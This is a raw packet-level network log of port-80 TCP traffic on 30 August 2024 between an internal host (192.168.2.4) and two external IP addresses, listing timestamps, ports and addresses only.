Aug 30, 2024 03:17:07.669898987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.669908047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.669919014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.669938087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.669950962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.669982910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.669995070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670003891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670015097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670021057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.670027971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670036077 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.670058012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.670068026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.670100927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670111895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670120955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670130968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670136929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.670140982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.670162916 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.670173883 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.688364029 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688405991 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688443899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688484907 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688493967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688529968 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688539028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688550949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688561916 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688585997 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688601971 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688627005 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688637972 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688648939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688661098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688683987 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688695908 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688730955 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688743114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688752890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688764095 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688775063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688775063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688786983 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688788891 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688798904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688810110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688815117 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688843012 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688846111 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688858032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688877106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688894033 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688896894 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688908100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688910961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688921928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688930988 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.688940048 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.688949108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.689052105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.689063072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.689069033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.689074039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.689078093 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.689078093 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.689085007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.689110994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.689135075 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.690989017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691049099 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691056967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691067934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691096067 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691117048 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691145897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691157103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691167116 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691176891 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691189051 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691212893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691476107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691518068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691550970 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691561937 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691592932 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691596985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691608906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691618919 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691632032 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691639900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.691648006 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691682100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.691683054 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.693358898 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693406105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.693447113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693456888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693481922 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693492889 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.693500042 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693511009 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693521976 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693533897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.693546057 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.693572044 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.693584919 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.694782972 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694807053 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694818020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694849968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694853067 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.694865942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.694888115 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.694900990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694940090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694951057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694960117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.694986105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.695029020 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.695350885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.695362091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.695374012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.695408106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.695409060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.695420027 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.695430040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.695430994 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.695444107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.695461035 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.695480108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.698643923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698697090 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.698757887 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698766947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698782921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698796034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698805094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698808908 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.698817968 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698828936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.698832989 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.698851109 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.698877096 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.699826002 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699850082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699862957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699875116 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.699877024 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699898958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699899912 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.699911118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699930906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699930906 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.699944019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.699959040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.699969053 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.699996948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.703269958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703291893 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703301907 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703351021 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.703356028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703370094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703376055 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.703380108 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703389883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703389883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.703397036 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.703403950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.703437090 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.703437090 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.703471899 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.704396963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.704407930 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.704421997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.704431057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.704452991 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.704477072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.704478979 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.704493046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.704504967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.704518080 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.704552889 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.704552889 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.708111048 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708120108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708132982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708142996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708151102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708158970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708164930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.708169937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708178997 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708184004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.708188057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708199024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.708209038 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.708229065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.708240032 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.709009886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709019899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709028006 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709103107 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.709103107 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.709108114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709119081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709127903 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709139109 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709157944 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.709168911 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.709181070 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.709220886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.709649086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709671021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709680080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709714890 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.709734917 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.709768057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709779024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709786892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709795952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709804058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.709813118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.709836006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.710515976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710562944 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.710592031 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710599899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710621119 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.710639000 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710650921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710658073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.710663080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710679054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.710683107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710691929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.710692883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.710706949 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.710727930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711719036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711729050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711747885 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711757898 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711765051 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711769104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711795092 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711798906 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711806059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711824894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711846113 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711862087 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711913109 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711916924 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711931944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711956978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711965084 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711971045 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711977005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711987019 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.711990118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.711999893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.712008953 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.712016106 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.712038040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.712944984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713063002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713073015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713082075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713095903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713107109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713109016 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.713116884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713119984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.713128090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.713143110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.713157892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.713520050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713541985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713551044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713557005 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.713582993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.713627100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713639021 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713648081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713656902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713665962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.713677883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.713686943 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.713704109 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.714034081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714044094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714051962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714083910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714083910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714154005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714169979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714178085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714200974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714202881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714216948 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714219093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714231968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714243889 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714243889 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714252949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714261055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714266062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714266062 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714271069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714287996 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714297056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714309931 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714329958 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714420080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714431047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714440107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714456081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714463949 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714472055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714483023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714483976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714494944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714498997 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714510918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714518070 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714540005 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714541912 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.714553118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.714559078 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714560986 CEST	80	49736	154.216.17.134	192.168.2.4
